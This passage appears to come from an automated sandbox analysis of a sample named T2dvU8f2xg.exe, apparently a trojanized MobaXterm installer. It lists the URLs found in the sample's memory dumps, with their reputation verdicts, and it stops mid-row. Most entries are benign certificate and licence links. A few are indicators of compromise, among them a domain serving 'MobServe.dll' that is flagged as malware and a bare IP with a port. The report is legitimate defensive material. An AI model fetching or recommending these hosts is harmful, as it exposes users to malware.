https://github.com/lukas-w/font-logos)	T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AF45000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1423788848.000000000BE39000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1430830740.000000000C05C000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1413149338.000000000AA27000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1374182708.0000000009EAB000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1378530251.0000000009F5D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1382969833.000000000ADB0000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.chiark.greenend.org.uk/~sgtatham/putty/openputtygen-save-passphrase-hashingputtygen-save	T2dvU8f2xg.exe, 00000000.00000003.1465043904.00000000FCBC3000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1445203638.000000000B8B5000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDB60000.00000004.00001000.00020000.00000000.sdmp	false		high
https://mobaxterm.mobatek.net/lastver.php?pro=non_pro&version=	T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://www.cherokee.org/ext	T2dvU8f2xg.exe, 00000000.00000002.3849894852.0000000009279000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://secure.comodo.com/CPS0L	T2dvU8f2xg.exe, 00000000.00000003.1351407496.0000000007511000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1689565677.00000000090C2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1431585166.000000000AB98000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1349687393.000000000832D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3848598695.0000000009247000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1680963161.00000000FFD27000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1350237895.0000000007439000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1397982376.000000000AFE6000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDB60000.00000004.00001000.00020000.00000000.sdmp	false		high
https://mobaxterm.mobatek.netj	T2dvU8f2xg.exe, 00000000.00000002.3844810029.000000000845C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.sectigo.com0D	T2dvU8f2xg.exe, 00000000.00000002.3829538446.0000000007CA4000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1445804936.000000000C4A2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AD22000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1391936069.000000000A7B6000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	false		high
https://mobaxterm.mobatek.net/	T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.m	T2dvU8f2xg.exe, 00000000.00000002.3801556769.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	T2dvU8f2xg.exe, 00000000.00000003.1351407496.0000000007511000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3829538446.0000000007CA4000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1689565677.00000000090C2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1431585166.000000000AB98000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1349687393.000000000832D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1445804936.000000000C4A2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AD22000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3848598695.0000000009247000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1680963161.00000000FFD27000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1391936069.000000000A7B6000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1350237895.0000000007439000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1397982376.000000000AFE6000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDB60000.00000004.00001000.00020000.00000000.sdmp	false		high
https://mobaxterm.mobatek.net8	T2dvU8f2xg.exe, 00000000.00000003.1391936069.000000000A7B6000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mobaxterm.mobatek.net/documentation.html#6_2	T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/source-foundry/Hack#license)	T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AF45000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1423788848.000000000BE39000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1430830740.000000000C05C000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1413149338.000000000AA27000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1374182708.0000000009EAB000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1378530251.0000000009F5D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1382969833.000000000ADB0000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	false		high
https://mobaxterm.mobatek.net/plugins.html	T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://mobaxterm.mobatek.net)MobaFontBookMobaFontMobaFontVersion	T2dvU8f2xg.exe, 00000000.00000003.1430830740.000000000C05C000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1382969833.000000000ADB0000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	T2dvU8f2xg.exe, 00000000.00000002.3829538446.0000000007CA4000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1445804936.000000000C4A2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AD22000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1391936069.000000000A7B6000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	false		high
https://mobaxterm.mobatek.net/ExtendedTools.pluginU	T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://154.19.200.133:8087	T2dvU8f2xg.exe	false	Avira URL Cloud: safe	unknown
https://github.com/belluzj/fantasque-sans)	T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AF45000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1413149338.000000000AA27000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1374182708.0000000009EAB000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.openssh.com/faq.html#2.9	T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/AndreLZGava/font-awesome-extension)	T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AF45000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1423788848.000000000BE39000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1430830740.000000000C05C000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1413149338.000000000AA27000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1374182708.0000000009EAB000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1378530251.0000000009F5D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1382969833.000000000ADB0000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	false		high
https://mobaxterm.mobatek.net/plugins.htmlSVW	T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ietf.org/rfc/rfc3275.txt	T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	false		high
https://sectigo.com/CPS0D	T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ssh.0523qyfw.com/MobServe.dll	T2dvU8f2xg.exe	false	Avira URL Cloud: malware	unknown
https://github.com/lukas-w/font-logos/blob/master/LICENSE)	T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AF45000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1423788848.000000000BE39000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1430830740.000000000C05C000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1413149338.000000000AA27000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1374182708.0000000009EAB000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1378530251.0000000009F5D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1382969833.000000000ADB0000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	false		high
https://mobaxterm.mobatek.net)	T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0	T2dvU8f2xg.exe, 00000000.00000002.3829538446.0000000007CA4000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1445804936.000000000C4A2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AD22000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1391936069.000000000A7B6000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	false		high
https://mobaxterm.mobatek.netMobaFira	T2dvU8f2xg.exe, 00000000.00000003.1465043904.00000000FD057000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1423788848.000000000BE39000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1378530251.0000000009F5D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/landley/toybox	T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	false		high
https://sectigo.com/CPS0	T2dvU8f2xg.exe, 00000000.00000003.1351407496.0000000007511000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3829538446.0000000007CA4000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1689565677.00000000090C2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1431585166.000000000AB98000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1349687393.000000000832D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1445804936.000000000C4A2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AD22000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3848598695.0000000009247000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1680963161.00000000FFD27000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1391936069.000000000A7B6000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1350237895.0000000007439000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1397982376.000000000AFE6000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDB60000.00000004.00001000.00020000.00000000.sdmp	false		high
https://curl.se/docs/http-cookies.html	T2dvU8f2xg.exe	false		high
https://github.com/AndreLZGava/font-awesome-extension/blob/master/LICENCE)	T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AF45000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1423788848.000000000BE39000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1430830740.000000000C05C000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1413149338.000000000AA27000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1374182708.0000000009EAB000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1378530251.0000000009F5D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1382969833.000000000ADB0000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	false		high
https://bugs.freedesktop.org/enter_bug.cgi?product=Mesa	T2dvU8f2xg.exe, 00000000.00000003.1655652143.00000000FFC6B000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1810369076.000000000E842000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mobaxterm.mobatek.net/resetmasterpassword.html.	T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://download.mobatek.net/previewcygutils/MobaXtermYou	T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://mobaxterm.mobatek.netDVarFileInfo$	T2dvU8f2xg.exe, 00000000.00000003.1391936069.000000000A7B6000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/primer/octicons/blob/master/LICENSE)	T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AF45000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1423788848.000000000BE39000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1430830740.000000000C05C000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1413149338.000000000AA27000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1374182708.0000000009EAB000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1378530251.0000000009F5D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1382969833.000000000ADB0000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/source-foundry/Hack)	T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AF45000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1423788848.000000000BE39000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1430830740.000000000C05C000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1413149338.000000000AA27000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1374182708.0000000009EAB000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1378530251.0000000009F5D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1382969833.000000000ADB0000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	false		high
http://download.mobatek.net/sources/	T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://mobaxterm.mobatek.netMobaFont	T2dvU8f2xg.exe, 00000000.00000003.1430830740.000000000C05C000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1382969833.000000000ADB0000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ietf.org/rfc/rfc3075.txt	T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	false		high
https://blog.mobatek.net/post/how-to-keep-X11-display-after-su-or-sudo/	T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1397112590.000000000B6D7000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AD22000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1405552954.000000000A973000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	T2dvU8f2xg.exe, 00000000.00000003.1351407496.0000000007511000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3829538446.0000000007CA4000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1689565677.00000000090C2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1431585166.000000000AB98000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1349687393.000000000832D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1445804936.000000000C4A2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AD22000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3848598695.0000000009247000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1680963161.00000000FFD27000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1391936069.000000000A7B6000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1350237895.0000000007439000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1397982376.000000000AFE6000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDB60000.00000004.00001000.00020000.00000000.sdmp	false		high
http://mingw-w64.sourceforge.net/X	T2dvU8f2xg.exe, 00000000.00000003.1628398864.00000000FC1AA000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1531130821.0000000009C23000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1618082385.00000000FDF29000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	T2dvU8f2xg.exe, 00000000.00000003.1351407496.0000000007511000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3829538446.0000000007CA4000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1689565677.00000000090C2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1431585166.000000000AB98000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1349687393.000000000832D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1445804936.000000000C4A2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AD22000.00000004.00000020.00020000.00000000.sdmp, 